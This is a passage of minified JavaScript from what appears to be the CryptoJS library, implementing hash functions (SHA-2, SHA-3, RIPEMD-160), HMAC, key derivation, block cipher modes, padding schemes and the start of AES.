e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r 